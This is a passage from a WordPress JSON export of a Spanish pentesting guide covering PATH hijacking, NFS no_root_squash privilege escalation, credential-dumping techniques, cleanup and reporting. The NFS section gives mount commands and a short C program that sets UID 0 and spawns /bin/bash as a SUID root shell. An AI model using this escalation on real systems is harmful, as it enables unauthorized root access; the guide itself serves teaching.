nuestra variable usaremos la exportaci\u00f3n<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PATH=\/tmp:$PATH<\/code><\/pre>\n\n\n\n<p>Esto agregar\u00e1 \/tmp a la variable $PATH.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">1.5.2.8. NFS<\/h4>\n\n\n\n<p>Las carpetas compartidas, el acceso remoto como SSGH tambi\u00e9n pueden ayudar a obtener acceso root al objetivo inicial. En algunos casos, se necesitar\u00e1n ambos, por ejemplo, encontrar una clave SSH privada en la carpeta .ssh de un usuario y luego conectarse a trav\u00e9s de SSH con privilegios de root. Tambi\u00e9n podemos explotar un shell de red mal configurado. La configuraci\u00f3n de NFS se almacena en el archivo \/etc\/exports y, por lo general, los usuarios pueden leerlo. Para que este m\u00e9todo de escalada funcione, es fundamental que la opci\u00f3n \u201cno_root_squash\u201d est\u00e9 habilitada. Si est\u00e1, podemos crear un ejecutable con SUID establecido y ejecutarlo en el sistema victima.<\/p>\n\n\n\n<p>Comenzamos enumerando los recursos compartidos en la m\u00e1quina usando<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>showmount -e<\/code><\/pre>\n\n\n\n<p>Montamos nuestra carpeta en la carpeta con la opci\u00f3n no_root_squash habilitada. Usando<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mount -o rw 10.10.70.63:\/tmp \/tmp\/nfs<\/code><\/pre>\n\n\n\n<p>el sistema local est\u00e1 montado junto al sistema. Ingresamos al usuario root usando su, y realizamos un script simple que llame al binario \/bin\/bash y le otorgue los permisos SUID. Ejecute el archivo SUID desde la m\u00e1quina v\u00edctima. Por ejemplo, se puede usar este script:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#include void main() { setuid(0); setgid(0); system(\"\/bin\/bash\"); }<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">1.5.3. Reconocimiento interno<\/h3>\n\n\n\n<p>El reconocimiento interno es el proceso de recopilar informaci\u00f3n interna sobre una red de destino, de modo que un atacante pueda moverse de manera m\u00e1s efectiva a trav\u00e9s de la red y realizar otras actividades. El atacante observa, explora y mapea la red, sus usuarios y dispositivos. Permite al intruso comprender las convenciones de nomenclatura de host y las jerarqu\u00edas de red, identificar sistemas operativos, localizar posibles cargas \u00fatiles y adquirir inteligencia para realizar movimientos informados.<\/p>\n\n\n\n<p>Un atacante puede aprovechar muchas herramientas personalizadas externas y herramientas de c\u00f3digo abierto para escanear puertos, conexiones de proxy y otras t\u00e9cnicas, pero el uso de herramientas integradas de Windows o de soporte ofrece la ventaja de ser m\u00e1s dif\u00edcil de detectar.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1.5.4 Volcado de credenciales y escalada de privilegios<\/h3>\n\n\n\n<p>Un atacante necesita credenciales de inicio de sesi\u00f3n v\u00e1lidas. El t\u00e9rmino utilizado para la obtenci\u00f3n ilegal de credenciales se denomina \u201cvolcado de credenciales\u201d.<\/p>\n\n\n\n<p>Una forma com\u00fan de obtener estas credenciales es enga\u00f1ar a los usuarios para que las compartan mediante el uso de t\u00e1cticas de ingenier\u00eda social , como ataques tipo typosquatting y phishing. Otras t\u00e9cnicas comunes para robar permisos:<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">1.5.4.1. Pass the Hash<\/h4>\n\n\n\n<p>Un m\u00e9todo de autenticaci\u00f3n que no requiere un inicio de sesi\u00f3n con la contrase\u00f1a del usuario. Pasa por alto los pasos de adquisici\u00f3n est\u00e1ndar mediante la adquisici\u00f3n de hash de contrase\u00f1a v\u00e1lidos que, una vez autenticados, permiten al atacante realizar acciones en sistemas locales o remotos.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">1.5.4.2. Pass the Ticket<\/h4>\n\n\n\n<p>Una forma de autenticar usando tickets de Kerberos. Un intruso que haya comprometido un controlador de dominio puede generar un \u201cticket dorado\u201d de Kerberos fuera de l\u00ednea que sigue siendo v\u00e1lido indefinidamente y puede usarse para suplantar cualquier cuenta, incluso despu\u00e9s de restablecer la contrase\u00f1a.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">1.5.4.3. Herramientas como Mimikatz<\/h4>\n\n\n\n<p>Se utilizan para robar contrase\u00f1as de texto claro almacenadas en cach\u00e9 o certificados de autenticaci\u00f3n de la memoria de una m\u00e1quina comprometida. Luego se pueden usar para autenticarse en otras m\u00e1quinas.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">1.5.4.4. Keyloggers<\/h4>\n\n\n\n<p>Permite que el atacante adquiera la contrase\u00f1a directamente cuando un usuario desprevenido la ingresa a trav\u00e9s del teclado.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">1.6 Limpieza<\/h2>\n\n\n\n<p>Para evitar tener que extender demasiado este apartado, es ideal realizar redirecciones hacia la ruta \/dev\/null que act\u00faa como cubo de basura de bits, as\u00ed como utilizar el directorio \/tmp en la medida de lo posible, puesto que este directorio es volatil tras reinicios del sistema. Para el resto debemos tener en cuenta los siguientes pasos.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Eliminaci\u00f3n de ejecutables, scripts y archivos temporales de sistemas comprometidos<\/li>\n\n\n\n<li>Reconfigurar la configuraci\u00f3n de nuevo a los par\u00e1metros originales antes del pentest<\/li>\n\n\n\n<li>Eliminar cualquier rootkit instalado en el entorno<\/li>\n\n\n\n<li>Eliminar cualquier cuenta de usuario creada para conectarse al sistema comprometido<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">1.7 Generaci\u00f3n de informes<\/h2>\n\n\n\n<p>Los informes a menudo se consideran el aspecto m\u00e1s cr\u00edtico de un pentest. Es donde obtendr\u00e1 recomendaciones por escrito de la empresa que lo realiza y tendr\u00e1 la oportunidad de revisar los hallazgos del informe hackers.<\/p>\n\n\n\n<p>Los hallazgos y las explicaciones detalladas del informe le ofrecer\u00e1n informaci\u00f3n y oportunidades para mejorar significativamente su postura de seguridad. El informe debe mostrarle exactamente c\u00f3mo se descubrieron los puntos de entrada desde la fase de modelado de amenazas y OSINT, as\u00ed como tambi\u00e9n c\u00f3mo puede remediar los problemas de seguridad encontrados durante la fase de explotaci\u00f3n.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">2 Conclusiones<\/h2>\n\n\n\n<p>Se han comentado algunas de las t\u00e9cnicas mas comunes para las diferentes etapas. No obstante el conocimiento sobre los protocolos y funcionamiento es mucho mas importante que la t\u00e9cnica en si, pues las t\u00e9cnicas se actualizan y surgen nuevas a partir del conocimiento de los servicios y protocolos. El resto recae en la creatividad del componente del RedTeam. De igual manera, conviene conocer los puntos cr\u00edticos donde los atacantes pueden efectuar sus fechorias, de manera que seamos lo mas conscientes posible.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>1.1. Reconocimiento Pasivo 1.2. Reconocimiento Activo 1.3. Compromiso Inicial La mayor\u00eda de la gente piensa que un atacante penetra en la red utilizando medios casi m\u00e1gicos basados en habilidades avanzadas y alguna vulnerabilidad de \u201cdia cero\u201d. La realidad es mucho m\u00e1s simple, un ciberatacante debe ser eficiente, efectivo y su operaci\u00f3n debe pasar desapercibida el [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-23393","post","type-post","status-publish","format-standard","hentry","category-sin-categoria"],"blocksy_meta":[],"_links":{"self":[{"href":"https:\/\/sada.services\/index.php?rest_route=\/wp\/v2\/posts\/23393","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/sada.services\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/sada.services\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/sada.services\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/sada.services\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=23393"}],"version-history":[{"count":4,"href":"https:\/\/sada.services\/index.php?rest_route=\/wp\/v2\/posts\/23393\/revisions"}],"predecessor-version":[{"id":23404,"href":"https:\/\/sada.services\/index.php?rest_route=\/wp\/v2\/posts\/23393\/revisions\/23404"}],"wp:attachment":[{"href":"https:\/\/sada.services\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=23393"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/sada.services\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=23393"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/sada.services\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=23393"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}